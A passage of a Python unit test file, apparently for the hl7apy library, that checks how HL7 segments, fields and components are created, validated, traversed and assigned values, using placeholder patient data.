pid_31 = g.pid.pid_3
self.assertIn('PID', g.children.traversal_indexes)
pid_32 = pid.pid_3
pid_31.value = 'a'
self.assertNotIn('PID', g.children.traversal_indexes)
self.assertEqual(pid_31.children, pid_32.children)
self.assertEqual(pid_31.children, g.pid.pid_3.children)
def test_assign_value_unknown_group(self):
g = Group()
g.value = self.oml_o33_specimen
class TestSegment(unittest.TestCase):
def setUp(self):
base_path = os.path.abspath(os.path.dirname(__file__))
path = os.path.join(base_path, 'profiles/iti_21')
self.rsp_k21_mp = hl7apy.load_message_profile(path)
def test_create_unknown_segment(self):
self.assertRaises(InvalidName, Segment, 'ABC')
self.assertRaises(InvalidName, Segment, 'ABC', validation_level=VALIDATION_LEVEL.STRICT)
def test_create_empty_segment(self):
self.assertRaises(OperationNotAllowed, Segment)
def test_create_unsupported_version_segment(self):
s = Segment('PID', version='2.5')
self.assertRaises(UnsupportedVersion, Segment, 'PID', version='2.0')
def test_create_z_segment(self):
Segment('ZIN', validation_level=VALIDATION_LEVEL.STRICT)
Segment('ZIN', validation_level=VALIDATION_LEVEL.TOLERANT)
self.assertRaises(InvalidName, Segment, 'ZDSW', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(InvalidName, Segment, 'ZDSW', validation_level=VALIDATION_LEVEL.TOLERANT)
def test_add_field_to_z_segments(self):
zin = Segment('ZIN')
zin.add(Field('ZIN_10'))
zin.zin_12 = 'abc'
zin.add_field('zin_2')
with self.assertRaises(ChildNotFound):
zin.add(Field('ZAP_10'))
zin.zap_12 = 'abc'
zin.add_field('zap_2')
def test_allow_infinite_children(self):
qpd = Segment('QPD', validation_level=VALIDATION_LEVEL.STRICT) # last field is varies
self.assertTrue(qpd.allow_infinite_children)
pid = Segment('PID', validation_level=VALIDATION_LEVEL.STRICT) # last field is not varies
self.assertFalse(pid.allow_infinite_children)
zin = Segment('ZIN', validation_level=VALIDATION_LEVEL.STRICT) # z segment
self.assertTrue(zin.allow_infinite_children)
qpd.qpd_4 = 'abc'
qpd.add_field('qpd_4')
zin.add(Field('ZIN_100', validation_level=VALIDATION_LEVEL.STRICT))
zin.zin_4 = 'abc'
zin.add_field('zin_4')
def test_add_field(self):
e = Segment('PID', validation_level=VALIDATION_LEVEL.STRICT)
pid_5 = e.add_field('PID_5')
self.assertEqual(pid_5.classname, 'Field')
self.assertIn(pid_5, e.children)
self.assertRaises(ChildNotFound, e.add_field, 'UNKNOWN_FIELD')
e = Segment('PID', validation_level=VALIDATION_LEVEL.TOLERANT)
pid_5 = e.add_field('PID_5')
self.assertEqual(pid_5.classname, 'Field')
self.assertIn(pid_5, e.children)
self.assertRaises(ChildNotFound, e.add_field, 'UNKNOWN_FIELD')
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
m.add_segment('msa')
s = m.msa
msa_1 = s.add_field('MSA_1')
self.assertEqual(msa_1.classname, 'Field')
self.assertIn(msa_1, s.children)
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
m.add_segment('msa')
s = m.msa
msa_1 = s.add_field('MSA_1')
self.assertEqual(msa_1.classname, 'Field')
self.assertIn(msa_1, s.children)
def test_add_child_with_different_validation_level(self):
s = Segment('PID', validation_level=VALIDATION_LEVEL.TOLERANT)
f = Field('PID_1', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(OperationNotAllowed, s.add, f)
s = Segment('PID', validation_level=VALIDATION_LEVEL.STRICT)
f = Field('PID_1', validation_level=VALIDATION_LEVEL.TOLERANT)
self.assertRaises(OperationNotAllowed, s.add, f)
def test_add_child_with_different_version(self):
s = Segment('QPD', version='2.4')
f = Field('QPD_3', version='2.5')
self.assertRaises(OperationNotAllowed, s.add, f)
def test_traversal_equality(self):
obr = Segment('OBR')
obr.obr_26 = 'xxx&yyy^zzz^www'
obr_26 = obr.parent_result
self.assertTrue(isinstance(obr_26, ElementProxy))
self.assertTrue(obr_26[0] == obr.obr_26[0], 'obr.parent_result != obr.obr_26')
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
m.msa.msa_1 = 'a'
msa_1 = m.msa.ACKNOWLEDGMENT_CODE
self.assertTrue(isinstance(msa_1, ElementProxy))
self.assertTrue(msa_1[0] == m.msa.msa_1[0], 'obr.parent_result != obr.obr_26')
def test_traversal_by_name(self):
obr = Segment('OBR')
obr_26 = obr.parent_result
self.assertTrue(obr_26.is_named('OBR_26'))
self.assertTrue(obr_26.is_named('PARENT_RESULT'))
m = Message('RSP_K21', reference=self.rsp_k21_mp)
msa = m.msa
msa_1 = msa.acknowledgment_code
self.assertTrue(msa_1.is_named('MSA_1'))
self.assertTrue(msa_1.is_named('ACKNOWLEDGMENT_CODE'))
def test_recursive_traversal(self):
obr = Segment('OBR')
obr.obr_26 = 'xxx&yyy^zzz^www'
by_name = obr.parent_result.parent_observation_identifier
by_position = obr.obr_26.obr_26_1
self.assertEqual(by_name[0], by_position[0])
m = Message('RSP_K21', reference=self.rsp_k21_mp)
qpd = m.add_segment('qpd')
qpd.qpd_8 = '^^^IHEFACILITY&1.3.6.1.4.1.21367.3000.1.6&ISO'
by_name = qpd.what_domains_returned.assigning_authority
by_position = qpd.qpd_8.qpd_8_4
self.assertEqual(by_name[0], by_position[0])
def test_add_empty_field(self):
s = Segment('SPM', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(ChildNotValid, s.add, Field())
s = Segment('SPM')
s.add(Field())
m = Message('RSP_K21', reference=self.rsp_k21_mp)
s = m.qpd
s.add(Field())
# def test_add_known_fields_to_empty_segment(self):
# s = Segment()
# self.assertRaises(ChildNotFound, s.add, Field('spm_10')) # This one is not raised!!!!
def test_add_not_allowed_fields_to_known_segments(self):
s = Segment('PID', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(ChildNotValid, s.add, Field('spm_10'))
s = Segment('PID')
self.assertRaises(ChildNotValid, s.add, Field('spm_10'))
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
s = m.add_segment('QPD')
self.assertRaises(ChildNotValid, s.add, Field('spm_10'))
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
s = m.add_segment('QPD')
self.assertRaises(ChildNotValid, s.add, Field('spm_10'))
def test_assign_wrong_field_to_known_position(self):
s1 = Segment('MSH', validation_level=VALIDATION_LEVEL.STRICT)
s2 = Segment('QPD')
with self.assertRaises(ChildNotValid):
s1.msh_10 = Field('spm_10')
with self.assertRaises(ChildNotValid):
s2.qpd_3 = Field('pid_3')
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
s1 = m.add_segment('QPD')
with self.assertRaises(ChildNotValid):
s1.qpd_8 = Field('SPM_10')
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
s1 = m.add_segment('QPD')
with self.assertRaises(ChildNotValid):
s1.qpd_8 = Field('SPM_10')
def test_access_to_unknown_field(self):
s1 = Segment('MSH', validation_level=VALIDATION_LEVEL.STRICT)
s2 = Segment('PID')
with self.assertRaises(ChildNotFound):
s1.msh_100
with self.assertRaises(ChildNotFound):
s2.pid_100
m1 = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
m2 = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
s1 = m1.add_segment('QPD')
s2 = m2.add_segment('QPD')
with self.assertRaises(ChildNotFound):
s1.qpd_100
with self.assertRaises(ChildNotFound):
s2.qpd_100
def test_delete_segment(self):
m = Message('OML_O33')
pid = Segment('PID')
m.add(pid)
self.assertIn(pid, m.children)
del m.pid
self.assertNotIn(pid, m.children)
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
qpd = m.add_segment('QPD')
self.assertIn(qpd, m.children)
del m.qpd
self.assertNotIn(qpd, m.children)
def test_assign_value(self):
segment_str = 'PID|1||123-456-789^^^HOSPITAL^MR||SURNAME^NAME^A|||M|||1111 SOMEWHERE STREET^^SOMEWHERE^^^USA||555-555-2004~444-333-222|||M\r'
s = Segment('PID')
parsed_s = parse_segment(segment_str)
s.value = segment_str
self.assertEqual(s.to_er7(), parsed_s.to_er7())
s = Segment('PID', validation_level=VALIDATION_LEVEL.STRICT)
parsed_a = parse_segment(segment_str)
s.value = segment_str
self.assertEqual(s.to_er7(), parsed_a.to_er7())
qpd_str = 'QPD|IHE PDQ Query|222222222|@PID.3.1.1^3333333|||||^^^IHEFACILITY&1.3.6.1.4.1.21367.3000.1.6&ISO'
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
s = m.add_segment('QPD')
s.value = qpd_str
self.assertEqual(s.to_er7(), qpd_str)
def test_assign_value_traversal(self):
segment_str = 'PID|1||123-456-789^^^HOSPITAL^MR||SURNAME^NAME^A|||M|||1111 SOMEWHERE STREET^^SOMEWHERE^^^USA||555-555-2004~444-333-222|||M\r'
m1 = Message('OML_O33')
m2 = Message('OML_O33')
m1.pid.value = segment_str
m2.pid.value = segment_str
self.assertEqual(m1.to_er7(), m2.to_er7())
segment_str = 'QPD|IHE PDQ Query|222222222|@PID.3.1.1^3333333|||||^^^IHEFACILITY&1.3.6.1.4.1.21367.3000.1.6&ISO'
m1 = Message('RSP_K21', reference=self.rsp_k21_mp)
m2 = Message('RSP_K21', reference=self.rsp_k21_mp)
m1.qpd.value = segment_str
m2.qpd.value = segment_str
self.assertEqual(m1.to_er7(), m2.to_er7())
def test_bug_13(self):
p = Segment('PID')
f = p.pid_3
self.assertEqual(id(p.pid_3), id(f))
self.assertEqual(id(p.patient_identifier_list), id(f))
c1 = p.pid_3.cx_10
self.assertIn('PID_3', p.children.traversal_indexes)
p.ALTERNATE_PATIENT_ID_PID.cx_10
self.assertIn('PID_4', p.children.traversal_indexes)
c2 = f.cx_10
c1.value = 'a'
self.assertNotIn('PID_3', p.children.traversal_indexes)
self.assertEqual(c1.children, c2.children)
self.assertEqual(c1.children, p.pid_3.cx_10.children)
def test_assign_wrong_value(self):
s = Segment('PID')
wrong_segment_str = 'EVN|1||123-456-789^^^HOSPITAL^MR||SURNAME^NAME^A|||M|||1111 SOMEWHERE STREET^^SOMEWHERE^^^USA||555-555-2004~444-333-222|||M\r'
with self.assertRaises(OperationNotAllowed):
s.value = wrong_segment_str
m = Message('RSP_K21', reference=self.rsp_k21_mp)
s = m.add_segment('qpd')
with self.assertRaises(OperationNotAllowed):
s.value = wrong_segment_str
class TestField(unittest.TestCase):
def setUp(self):
base_path = os.path.abspath(os.path.dirname(__file__))
path = os.path.join(base_path, 'profiles/iti_21')
self.rsp_k21_mp = hl7apy.load_message_profile(path)
def test_create_empty_field(self):
f = Field()
self.assertEqual(f.classname, 'Field')
self.assertRaises(OperationNotAllowed, Field, validation_level=VALIDATION_LEVEL.STRICT)
def test_create_unknown_field(self):
self.assertRaises(InvalidName, Field, 'ckk_10')
self.assertRaises(InvalidName, Field, 'ckk_10', validation_level=VALIDATION_LEVEL.STRICT)
def test_create_unsupported_version_field(self):
self.assertRaises(UnsupportedVersion, Field, version='2.0')
def test_create_varies_datatype_field(self):
f = Field('PID_1', datatype='varies')
self.assertEqual(f.datatype, 'varies')
def test_create_z_field(self):
Field('ZIN_1', validation_level=VALIDATION_LEVEL.STRICT)
Field('ZIN_1', validation_level=VALIDATION_LEVEL.TOLERANT)
Field('zin_1', validation_level=VALIDATION_LEVEL.STRICT)
Field('zin_1', validation_level=VALIDATION_LEVEL.TOLERANT)
self.assertRaises(InvalidName, Field, 'ZINQW')
self.assertRaises(InvalidName, Field, 'ZIN_W')
def test_z_field_datatype(self):
s = Segment('zin')
s.zin_1 = 'zzz'
self.assertEqual(s.zin_1.datatype, 'ST')
s.add_field('zin_2')
self.assertEqual(s.zin_2.datatype, 'ST')
s.add(Field('zin_3', datatype='ST'))
self.assertEqual(s.zin_3.datatype, 'ST')
s.add(Field('zin_4', datatype='CWE'))
self.assertEqual(s.zin_4.datatype, 'CWE')
s.zin_5 = 'abc^def'
self.assertEqual(s.zin_5.datatype, None)
def test_add_component(self):
f = Field('PID_5', validation_level=VALIDATION_LEVEL.STRICT)
c = Component('XPN_1', validation_level=VALIDATION_LEVEL.STRICT)
f.add(c)
self.assertIn(c, f.children)
f = Field('PID_5', validation_level=VALIDATION_LEVEL.STRICT)
c = f.add_component('XPN_1')
self.assertEqual(c.name, 'XPN_1')
self.assertIn(c, f.children)
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.add_segment('QPD').add_field('QPD_3')
c = f.add_component('QIP_1')
self.assertEqual(c.name, 'QIP_1')
self.assertIn(c, f.children)
def test_add_child_with_different_validation_level(self):
f = Field('PID_4', validation_level=VALIDATION_LEVEL.STRICT)
c = Component('CX_10', validation_level=VALIDATION_LEVEL.TOLERANT)
self.assertRaises(OperationNotAllowed, f.add, c)
f = Field('PID_4', validation_level=VALIDATION_LEVEL.TOLERANT)
c = Component('CX_10', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(OperationNotAllowed, f.add, c)
def test_add_child_with_different_version(self):
f = Field('PID_4', version='2.4')
c = Component('CX_8', version='2.5')
self.assertRaises(OperationNotAllowed, f.add, c)
def test_add_empty_component(self):
f1 = Field('pid_3', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(ChildNotValid, f1.add, Component(datatype='ST'))
f2 = Field('pid_3')
c = Component()
f2.add(c)
self.assertIn(c, f2.children)
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.add_segment('QPD').add_field('QPD_3')
self.assertRaises(ChildNotValid, f.add, Component(datatype='ST'))
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.add_segment('QPD').add_field('QPD_3')
self.assertRaises(ChildNotValid, f.add, Component(datatype='ST'))
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
f = m.add_segment('QPD').add_field('QPD_3')
c = Component()
f.add(c)
self.assertIn(c, f.children)
# def test_add_known_components_to_empty_fields(self):
# f2 = Field()
# self.assertRaises(ChildNotValid, f2.add, Component('CX_1')) # this one is not raised!!!
def test_add_not_allowed_components_to_known_field(self):
f1 = Field('pid_3', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(ChildNotValid, f1.add, Component(datatype='ST'))
f2 = Field('pid_3')
self.assertRaises(ChildNotValid, f2.add, Component('XPN_1'))
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
f = m.add_segment('QPD').add_field('QPD_3')
self.assertRaises(ChildNotValid, f.add, Component('XPN_1'))
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
f = m.add_segment('QPD').add_field('QPD_3')
self.assertRaises(ChildNotValid, f.add, Component('XPN_1'))
def test_assign_wrong_component_to_known_position(self):
f1 = Field('pid_10', validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(ChildNotValid):
f1.ce_1 = Component('CX_1')
f2 = Field('pid_3')
with self.assertRaises(ChildNotValid):
f2.cx_1 = Component('HD_1')
f2.cx_1 = Component('CX_1')
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
f = m.add_segment('QPD').add_field('QPD_3')
with self.assertRaises(ChildNotValid):
f.qip_1 = Component('CX_1')
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
f = m.add_segment('QPD').add_field('QPD_3')
with self.assertRaises(ChildNotValid):
f.qip_1 = Component('CX_1')
def test_access_to_z_field_component(self):
s = Segment('ZIN')
f = Field('ZIN_1', datatype='CWE')
f.value = 'abc'
s.zin_1 = f
self.assertEqual(s.zin_1.zin_1_1.name, 'CWE_1')
with self.assertRaises(ChildNotFound):
s.zin_2.zin_2_2
def test_access_to_unknown_component(self):
f1 = Field('pid_10', validation_level=VALIDATION_LEVEL.STRICT)
f2 = Field('pid_3')
with self.assertRaises(ChildNotFound):
f1.ce_100
with self.assertRaises(ChildNotFound):
f2.cx_100
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
f = m.add_segment('QPD').add_field('QPD_3')
with self.assertRaises(ChildNotFound):
f.qip_100
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
f = m.add_segment('QPD').add_field('QPD_3')
with self.assertRaises(ChildNotFound):
f.qip_100
def test_access_to_wrong_component(self):
f1 = Field('pid_10', validation_level=VALIDATION_LEVEL.STRICT)
f2 = Field('pid_3')
with self.assertRaises(ChildNotValid):
f1.cwe_1 # pid_10 datatype is CE
with self.assertRaises(ChildNotValid):
f2.ce_1 # pid_3 datatype is CX
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
f = m.add_segment('QPD').add_field('QPD_3')
with self.assertRaises(ChildNotValid):
f.cwe_1 # qpd_3 is QIP
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
f = m.add_segment('QPD').add_field('QPD_3')
with self.assertRaises(ChildNotValid):
f.cwe_1 # qpd_3 is QIP
def test_add_more_components_to_base_datatype_field(self):
f1 = Field('pid_8', validation_level=VALIDATION_LEVEL.STRICT) # this is a base datatype field
f1.add(Component(datatype='IS', validation_level=VALIDATION_LEVEL.STRICT))
self.assertRaises(MaxChildLimitReached, f1.add, Component(datatype='ST'))
f2 = Field('pid_8')
f2.add(Component(datatype='IS'))
self.assertRaises(MaxChildLimitReached, f2.add, Component(datatype='ST'))
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
f = m.add_segment('QPD').add_field('QPD_8')
f.add_component('CX_1')
self.assertRaises(MaxChildLimitReached, f.add_component, 'CX_1')
def test_override_field_datatype_strict(self):
f = Field('pid_3', validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(OperationNotAllowed):
f.datatype = 'HD'
self.assertRaises(OperationNotAllowed, Field, 'pid_3', datatype='HD',
validation_level=VALIDATION_LEVEL.STRICT)
# in this case we are assigning the official datatype to the Field, thus no exception should be raised
b = Field('pid_3', 'CX', validation_level=VALIDATION_LEVEL.STRICT)
self.assertEqual(b.datatype, 'CX')
f = Field('pid_3')
f.datatype = 'HD'
self.assertEqual(f.datatype, 'HD')
f = Field('pid_3', datatype='HD')
self.assertEqual(f.datatype, 'HD')
# it raises an exception because the field already has some children
a = Field('pid_3')
a.cx_1 = 'aaa'
a.cx_4 = 'bbb'
with self.assertRaises(OperationNotAllowed):
a.datatype = 'HD'
# test that the children's names follow the new datatype name
a = Field('pid_3', 'CE') # official datatype is CX
a.ce_1 = 'xyz'
self.assertEqual(a.to_er7(), 'xyz')
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
f = m.add_segment('QPD').add_field('QPD_8')
with self.assertRaises(OperationNotAllowed):
f.datatype = 'CWE'
def test_delete_field(self):
m = Message('OML_O33')
msh = m.msh
msh7 = msh.msh_7
del msh.msh_7
self.assertNotIn(msh7, msh.children)
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
f = m.add_segment('QPD').add_field('QPD_8')
self.assertIn(f, m.qpd.children)
del m.qpd.qpd_8
self.assertNotIn(f, m.qpd.children)
def test_assign_value(self):
field_str = '1010110909194822^^^AUTH&1.3.6.1.4.1.21367.2011.2.5.17&ISO^PK^A^^^^A'
f = Field('PID_3')
f.value = field_str
self.assertEqual(f.to_er7(trailing_children=True), field_str)
f = Field('PID_3', validation_level=VALIDATION_LEVEL.STRICT)
f.value = field_str
self.assertEqual(f.to_er7(trailing_children=True), field_str)
f = Field('PID_1', validation_level=VALIDATION_LEVEL.STRICT)
with self.assertRaises(MaxChildLimitReached):
f.value = '1^2'
f = Field('PID_1', validation_level=VALIDATION_LEVEL.TOLERANT)
f.value = SI(1)
self.assertEqual(f.to_er7(), '1')
f.value = SI(2)
self.assertEqual(f.to_er7(), '2')
with self.assertRaises(ChildNotValid):
f.value = ST('aaa')
f = Field('PID_3', validation_level=VALIDATION_LEVEL.TOLERANT) # It is a complex datatype field
with self.assertRaises(ChildNotValid):
f.value = ST('aaa')
f = Field('PID_1', validation_level=VALIDATION_LEVEL.STRICT)
f.value = SI(1)
self.assertEqual(f.to_er7(), '1')
f.value = SI(2)
self.assertEqual(f.to_er7(), '2')
with self.assertRaises(ChildNotValid):
f.value = ST('aaa')
f = Field('PID_3', validation_level=VALIDATION_LEVEL.STRICT) # It is a complex datatype field
with self.assertRaises(ChildNotValid):
f.value = ST('aaa')
def test_assign_value_message_profile(self):
field_str = '1010110909194822^^^AUTH&1.3.6.1.4.1.21367.2011.2.5.17&ISO^PK^A^^^^A'
m = Message('RSP_K21', reference=self.rsp_k21_mp)
f = m.rsp_k21_query_response.pid.add_field('PID_3')
f.value = field_str
self.assertEqual(f.to_er7(trailing_children=True), field_str)
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.rsp_k21_query_response.pid.add_field('PID_3')
f.value = field_str
self.assertEqual(f.to_er7(trailing_children=True), field_str)
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.rsp_k21_query_response.pid.add_field('PID_1')
with self.assertRaises(MaxChildLimitReached):
f.value = '1^2'
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
f = m.rsp_k21_query_response.pid.add_field('PID_1')
f.value = SI(1)
self.assertEqual(f.to_er7(), '1')
f.value = SI(2)
self.assertEqual(f.to_er7(), '2')
with self.assertRaises(ChildNotValid):
f.value = ST('aaa')
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.TOLERANT)
f = m.rsp_k21_query_response.pid.add_field('PID_3') # it is a complex datatype field
with self.assertRaises(ChildNotValid):
f.value = ST('aaa')
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.rsp_k21_query_response.pid.add_field('PID_1')
f.value = SI(1)
self.assertEqual(f.to_er7(), '1')
f.value = SI(2)
self.assertEqual(f.to_er7(), '2')
with self.assertRaises(ChildNotValid):
f.value = ST('aaa')
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
f = m.rsp_k21_query_response.pid.add_field('PID_3') # it is a complex datatype field
with self.assertRaises(ChildNotValid):
f.value = ST('aaa')
def test_assign_value_traversal(self):
field_str = '1010110909194822^^^AUTH&1.3.6.1.4.1.21367.2011.2.5.17&ISO^PK'
# assigns string using value
s = Segment('PID')
s.pid_3.value = field_str
self.assertEqual(s.pid_3.to_er7(), field_str)
# assigns string
s = Segment('PID')
s.pid_3 = field_str
self.assertEqual(s.pid_3.to_er7(), field_str)
# assigns base datatype using value
s = Segment('MSH')
s.msh_10.value = ST('aaa')
self.assertEqual(s.msh_10.to_er7(), 'aaa')
self.assertEqual(s.to_er7(), 'MSH|||||||||aaa')
# assigns base datatype
s = Segment('MSH')
s.msh_10 = ST('aaa')
self.assertEqual(s.msh_10.to_er7(), 'aaa')
# same tests with a further level iof traversal
m = Message('RSP_K21')
m.pid.pid_3.value = field_str
self.assertEqual(m.pid.pid_3.to_er7(), field_str)
m = Message('RSP_K21')
m.pid.pid_3 = field_str
self.assertEqual(m.pid.pid_3.to_er7(), field_str)
m = Message('RSP_K21')
m.msh.msh_10.value = ST('aaa')
self.assertEqual(m.msh.msh_10.to_er7(), 'aaa')
m = Message('RSP_K21')
m.msh.msh_10 = ST('aaa')
self.assertEqual(m.msh.msh_10.to_er7(), 'aaa')
def test_bug_13(self):
f = Field('PID_3')
c = f.cx_10
self.assertEqual(id(f.cx_10), id(c))
self.assertEqual(id(f.ASSIGNING_AGENCY_OR_DEPARTMENT), id(c))
s1 = f.cx_10.cwe_1
self.assertIn('CX_10', f.children.traversal_indexes)
s2 = f.ASSIGNING_AUTHORITY.HD_1
self.assertIn('CX_4', f.children.traversal_indexes)
s2 = c.cwe_1
s2.value = 'a'
self.assertNotIn('CX_10', f.children.traversal_indexes)
self.assertEqual(s1.children, s2.children)
self.assertEqual(s1.children, f.cx_10.cwe_1.children)
def test_assign_value_traversal_message_profile(self):
field_str = '1010110909194822^^^AUTH&1.3.6.1.4.1.21367.2011.2.5.17&ISO^PK'
# assigns string using value
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
s = m.add_group('rsp_k21_query_response').add_segment('pid')
s.pid_3.value = field_str
self.assertEqual(s.pid_3.to_er7(), field_str)
# assigns string
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
s = m.add_group('rsp_k21_query_response').add_segment('pid')
s.pid_3 = field_str
self.assertEqual(s.pid_3.to_er7(), field_str)
# assigns base datatype using value
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
s = m.msh
s.msh_10.value = ST('aaa')
self.assertEqual(s.msh_10.to_er7(), 'aaa')
# assigns base datatype
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
s = m.msh
m.msh.msh_10 = ST('aaa')
self.assertEqual(s.msh_10.to_er7(), 'aaa')
# same tests with a further level iof traversal
# assigns string using value
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.rsp_k21_query_response.pid.pid_3.value = field_str
self.assertEqual(m.rsp_k21_query_response.pid.pid_3.to_er7(), field_str)
# assigns string
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.rsp_k21_query_response.pid.pid_3 = field_str
self.assertEqual(m.rsp_k21_query_response.pid.pid_3.to_er7(), field_str)
# assigns base datatype using value
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.msh.msh_10.value = ST('aaa')
self.assertEqual(m.msh.msh_10.to_er7(), 'aaa')
# assigns base datatype
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
m.msh.msh_10 = ST('aaa')
self.assertEqual(m.msh.msh_10.to_er7(), 'aaa')
def test_assign_value_with_encoding_chars(self):
# using field separator
field_str = 'xxx|yyy'
escaped_str = 'xxx\F\yyy'
f = Field('PID_3')
f.value = field_str
self.assertEqual(f.to_er7(), escaped_str)
f = Field('PID_3', validation_level=VALIDATION_LEVEL.STRICT)
f.value = field_str
self.assertEqual(f.to_er7(), escaped_str)
f = Field()
f.value = field_str
self.assertEqual(f.to_er7(), 'xxx\F\yyy')
# using repetition
field_str = 'xxx~yyy'
f = Field()
f.value = field_str
self.assertEqual(f.to_er7(), 'xxx\R\yyy')
f = Field('PID_2')
f.value = field_str
self.assertEqual(f.to_er7(), 'xxx\R\yyy')
f = Field('PID_2', validation_level=VALIDATION_LEVEL.STRICT)
f.value = field_str
self.assertEqual(f.to_er7(), 'xxx\R\yyy')
def test_field_wgith_three_part_name_bug_39(self):
"""
Tests that fields with three part name are handled correctly. See issue #39 on github
"""
f = Field('MSH_9', version='2.3')
f.value = 'SIU^S12'
self.assertEqual(f.cm_msg_1.value, 'SIU')
self.assertEqual(f.cm_msg_2.value, 'S12')
class TestComponent(unittest.TestCase):
def setUp(self):
base_path = os.path.abspath(os.path.dirname(__file__))
path = os.path.join(base_path, 'profiles/iti_21')
self.rsp_k21_mp = hl7apy.load_message_profile(path)
def test_create_empty_component(self):
c = Component()
self.assertEqual(c.classname, 'Component')
c = Component(datatype='ST')
self.assertEqual(c.classname, 'Component')
Component(datatype='ST', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(OperationNotAllowed, Component, validation_level=VALIDATION_LEVEL.STRICT)
def test_create_unknown_component(self):
self.assertRaises(InvalidName, Component, 'xxx_1')
self.assertRaises(InvalidName, Component, 'xxx_1', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(InvalidName, Component, 'AD') # AD is a datatype but not a correct component name
def test_create_unsupported_version_component(self):
self.assertRaises(UnsupportedVersion, Component, version='2.0')
def test_add_child_with_different_validation_level(self):
c = Component('CX_10', validation_level=VALIDATION_LEVEL.TOLERANT)
s = SubComponent('CWE_1', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(OperationNotAllowed, c.add, s)
c = Component('CX_10', validation_level=VALIDATION_LEVEL.STRICT)
s = SubComponent('CWE_1', validation_level=VALIDATION_LEVEL.TOLERANT)
self.assertRaises(OperationNotAllowed, c.add, s)
def test_add_child_with_different_version(self):
c = Component('CX_10', version='2.5')
s = SubComponent('CWE_1', version='2.6')
self.assertRaises(OperationNotAllowed, c.add, s)
def test_add_empty_subcomponent(self):
c1 = Component('cx_4', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(ChildNotValid, c1.add, SubComponent(datatype='ST'))
c2 = Component('cx_4')
c2.add(SubComponent(datatype='ST'))
m = Message('RSP_K21', reference=self.rsp_k21_mp, validation_level=VALIDATION_LEVEL.STRICT)
c = m.add_segment('QPD').add_field('QPD_8').add_component('CX_4')
